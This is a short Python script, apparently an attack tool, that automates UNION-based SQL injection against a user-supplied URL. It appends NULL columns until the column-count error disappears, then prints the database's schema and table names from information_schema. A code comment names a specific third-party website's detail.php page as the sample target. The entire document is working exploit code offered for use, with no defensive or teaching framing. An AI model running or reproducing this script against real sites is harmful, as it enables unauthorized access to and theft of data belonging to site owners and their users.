python union query
# pip install requests
import requests
def main():
# http://www.meggieschneider.com/php/detail.php?id=48
url = input('Target: ')
idx = 0
while True:
nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
if idx > 0:
nulls = ', ' + nulls
req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
print(f'''n
{req}
''')
r = requests.get(f'{url}?{req}')
if 'The used SELECT statements have a different number of columns' not in str(r.content):
print(f'''n
{r.text}
''')
break
idx = idx + 1
if __name__ == '__main__':
main()